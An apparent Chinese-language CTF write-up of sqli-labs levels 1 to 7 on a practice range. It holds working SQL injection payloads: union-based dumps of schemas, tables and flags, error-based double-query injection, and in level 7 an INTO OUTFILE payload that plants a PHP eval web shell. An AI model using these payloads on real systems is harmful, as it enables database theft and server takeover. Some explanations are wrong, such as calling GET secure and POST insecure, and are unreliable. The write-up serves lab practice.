靶场:https://buuoj.cn/challenges

何为?id=-1?

1
2
3
4
5
6
在进行SQL注入攻击时,添加"?id=-1"的目的是**为了绕过应用程序对输入参数的验证和过滤**。
常情况下,用程序会接受一个参数(例如"id")作为输入,并将其用于构建SQL查询语。

通过在URL中添加id=-1",攻者试图欺骗应用程序认为它正在处理一个有效的请求,而不是恶意的注入攻击。这是因为在许多应用程序中当传递一个无效的ID参数时,它们可能会执行默认操作或返回预定义结果集。

利用这一点,尝通过注入恶意的SQL代码来修改原始查询语句的行为以达到目的,例如绕过份验证、获取敏感数据或破数据库。

因此不一定是所有的地方都可以传递参数“id”,应该视情况而定

何为get方法和post方法?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
GET 和 POST 是 HTTP 协议中定义的两种请求方法。GET 方法用于从服务器检索数据,而 POST 方法用于向服务器提交数据。

GET 方法通常用于检索静态页面,例如主页或博客文章。GET 方法也可以用于检索动态页面,例如搜索结果页面或商品详情页面。GET 方法将参数附加到 URL 中,并使用 HTTP GET 方法发送到服务器。

POST 方法通常用于提交表单数据,例如用户注册表单或商品订单表单。POST 方法将参数附加到请求体中,并使用 HTTP POST 方法发送到服务器。

GET 方法和 POST 方法的区别在于:

- GET 方法将参数附加到 URL 中,而 POST 方法将参数附加到请求体中。
- GET 方法通常用于检索静态页面,而 POST 方法通常用于提交表单数据。
- GET 方法通常用于安全目的,而 POST 方法通常用于不安全目的。

在选择 GET 方法还是 POST 方法时,需要考虑以下因素:

- 请求数据的敏感性。如果请求数据敏感,则应使用 POST 方法。
- 请求数据的大小。如果请求数据很大,则应使用 POST 方法。
- 请求数据的安全性。如果请求数据不安全,则应使用 POST 方法。

总结

  • 检查漏洞

    通过报错判断正确语法

    靶机地址/?id=1 ’ or 1=1 -- +

    若单引号无错误则试试双引号

  • 列数可以通过order by来进行探测

    ?id=1 order by 1... -- +

    –+用于注释掉sql语句后面的内容,不是只能用– + ,因为它的底层逻辑是– [空格] [一个字符]用来注释后面的

  • 用于返回数据库的具体内容,包含三个部分:1、2、和group_concat(schema_name)取决于具体的列数

    1
    ?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata -- +
  • 用于查看你需要看的表,select取决于具体的列数

    1
    union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='你需要的表' -- +
  • 用于查看你需要看的表的对应列,select取决于具体的列数

    1
    ?id=-1 union select 1,2,group_concat(你需要的列) from 你需要的表.你需要的列 -- +

一、sqli-labs 1:GET - Error based - Single quotes - String

第一关是基础篇sql注入,可利用hackbar

不难,都是固有的sql语句:

group_concat()是固定的内置函数,它用于从一个或多个字段中返回一个逗号分隔的值列表。

利用’构建语句查询是否存在注入漏洞,有则会显示sql语法错误

1
靶机地址/Less-1(<=此处为实际靶机的目录)/?id=0'

查询数据库

1
靶机地址/Less-1/?id=0' union select 1,2,group_concat(schema_name) from information_schema.schemata -- +
  • SELECT 1, 2, GROUP_CONCAT(schema_name) FROM information_schema.schemata 将返回数据库中所有模式的名称。GROUP_CONCAT() `函数将返回一个模式名称列表,这些模式名称用逗号分隔。

  • UNION 运算符用于合并来自 information_schema.schemata 表的结果集和来自 GROUP_CONCAT() 函数的结果集。合并后,结果集中包含数据库中所有模式的名称。

  • information_schema.schemata是MySQL数据库中的一个表,该表存储了MySQL数据库中所有模式的信息,包括模式名称、模式创建时间、模式创建者等。

查询表

1
靶机地址/Less-1/?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctftraining' -- +
  • GROUP_CONCAT() 函数将返回一个模式名称列表,这些模式名称用逗号分隔。

  • information_schema.tablesinformation_schema数据库中的 表 项目

  • where table_schema='ctftraining·指定了是从ctftraining这个位置

查询列

1
靶机地址/Less-1/?id=0'union select 1,2,group_concat(flag) from ctftraining.flag -- +
  • from ctftraining.flag指定从flag这个位置读取列

参考链接:https://blog.csdn.net/weixin_45844670/article/details/109035928


二、sqli-labs 2:GET - Error based - Intiger based

检查漏洞

靶机地址/Less-2/?id=1 ’ or 1=1

报错,但是去掉’没有报错:

靶机地址/Less-2/?id=1 or 1=1

说明‘ 不需要加

检查列数

1
2
3
4
靶机地址/Less-2/?id=1 order by 1 -- +
靶机地址/Less-2/?id=1 order by 2 -- +
靶机地址/Less-2/?id=1 order by 3 -- +
靶机地址/Less-2/?id=1 order by 4 -- +
  • id需要传存在的
  • 增加order by 的数值,直到报错表明不存在此列

查询表名

1
靶机地址/Less-2/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata -- +
  • id需要传不存在的

  • select 1,2,group_concat(schema_name)此句包含三个部分:1、2、和group_concat(schema_name)这里有几个取决于具体的列数、列数可以通过order by来进行探测

查询ctftraining这个列

1
靶机地址/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctftraining' -- +
  • 这里改schema_nametable_name

  • from information_schema.schemata 改为了from information_schema.tables where table_schema='ctftraining'

读取flag

1
靶机地址/Less-1/?id=-1 union select 1,2,group_concat(flag) from ctftraining.flag -- +

第二关通关

三、sqli-labs 3:GET - Error based - Single quotes with twist - string

释义:在GET请求中,通过利用服务器返回的错误信息,以及对包含单引号的字符串进行适当处理,来获取有关系统或应用程序的敏感信息。

检查漏洞

靶机地址/?id=1’

报错,观察报错信息,得知正确的语法应该是要加 “)”

即为:靶机地址/?id=1 ‘)

靶机地址/?id=1’) or 1=1 -- +

检查列数

靶机地址/?id=1 ') order by 4 -- +

得知列数为3

查询表名

1
?id=-1 ') union select 1,2,group_concat(schema_name) from information_schema.schemata -- +

查询列

1
?id=-1 ') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctftraining' -- +

读取flag

1
?id=-1 ') union select 1,2,group_concat(flag) from ctftraining.flag -- +

第三关通关

四、sql-libs 4:GET - Error based - Double Quotes - String

检查漏洞:

靶机地址/Less-4/?id=1'

回显正常

靶机地址/Less-4/?id=1"

报错:

去掉“1”,说明需要输入

靶机地址/Less-4/?id=1'")

检查列数

靶机地址/Less-4/?id=1"') order by 3 -- +

不出我所料,也是三列

查询表名

Less-4/?id=-1'") union select 1,2,group_concat(schema_name) from information_schema.schemata -- +

注意id传-1

查询列

1
Less-4/?id=-1'") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctftraining' -- +

注意id传-1

读取flag

1
Less-4/?id=-1'") union select 1,2,group_concat(flag) from ctftraining.flag -- +

注意id传-1

flag{b1a21db3-04cb-4690-af89-bfe6d5987a27}

第四关通关

五、sql-libs 5 :GET - Double Injection - Single Quotes - String

检查漏洞

Less-5/?id=1 'or 1=1 --+

没有报错,即可用’

Less-5/?id=1‘:

没有正常的数据回显:

这时候就需要用到:

报错注入

报错注入是一种SQL注入类型,用于使SQL语句报错的语法,用于注入结果无回显但错误信息有输出的情况。返回的错误信息即是攻击者需要的信息,常用于渗透测试。

1
2
and (select 1 from (select count(*),concat((你需要注入的语句),floor (rand(0)*2))x from information_schema.tables group by x)a)

主体语法结构:

1
(随机数) AND (......concat((恶意代码)......)

该语句的目的是将一个恶意负载与随机数进行拼接,并将结果插入到信息架构表中的某个列中,然后,子查询将计算该列中的行数,并返回一个始终为1的结果集。最后,使用逻辑运算符将两个条件进行逻辑与操作。

注意括号

查询数据库

基础语句:

1
SELECT schema_name FROM information_schema.schemata limit 0,1
1
Less-5/?id=1' and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

其结果即将你的恶意语句的结果展示到报错内容上:

like this :

查询列

传入下面语句

1
2
SELECT TABLE_NAME 
FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1

因为这里无法使用union联合查询,所以需要使用单独查询的sql语法

1
2
Less-5/?id=1' and (select 1 from (select count(*),concat((SELECT TABLE_NAME 
FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

读取flag

1
SELECT flag FROM ctftraining.flag

完整注入代码:

1
Less-5/?id=1' and (select 1 from (select count(*),concat((SELECT flag FROM ctftraining.flag),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

flag{2a0abfac-0a95-4dcc-a750-1a088a21af3d}

第五关通关

六、sql-libs 6 : GET - Double Injection - Double Quotes - String

检查闭合:

1
2
Less-6/?id=1"
Less-6/?id=1" or 1=1 --+

得知为?/id=1”

报错注入

1
and (select 1 from (select count(*),concat((恶意代码),floor (rand(0)*2))x from information_schema.tables group by x)a)and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)

查询数据库

1
/Less-6/?id=1" and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

查询表

1
2
/Less-6/?id=1" and (select 1 from (select count(*),concat((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

查询列

1
2
Less-6/?id=1" and (select 1 from (select count(*),concat((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

读取flag

1
2
Less-6/?id=1" and (select 1 from (select count(*),concat((SELECT flag FROM ctftraining.flag),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

flag{2a0abfac-0a95-4dcc-a750-1a088a21af3d}

第六关通关

七、sql-libs 7 : GET - Dump into outfile - String

检查闭合

发现为比较少见的'))

1
/?id=1'))

检查列数

1
/Less-7/?id=1')) order by 3 --+

最大为3,即为三列

提示使用outfile

植入一句话木马

1
/?id=1')) union select 1,2,"<?php @eval($_POST["flag"]);?>" into outfile '绝对路径//木马.php' --+

检查是否有写入权限

去第一关

1
?id=1')) and (select count(*) from mysql.user)>0--+

获取绝对路径

通用:

1
?id=-1'union select 1,@@basedir,@@datadir

此处,回到第一关:

1
?id=-1')) union select 1,@@basedir,@@datadir limit 0,1 --+
1
2
 Your Login name:/usr
Your Password:/var/lib/mysql/

植入木马

1
Less-7/?id=1')) union select 1,2,"<?php @eval($_POST["flag"]);?>" into outfile '//var//lib//mysql//muma.php '--+
1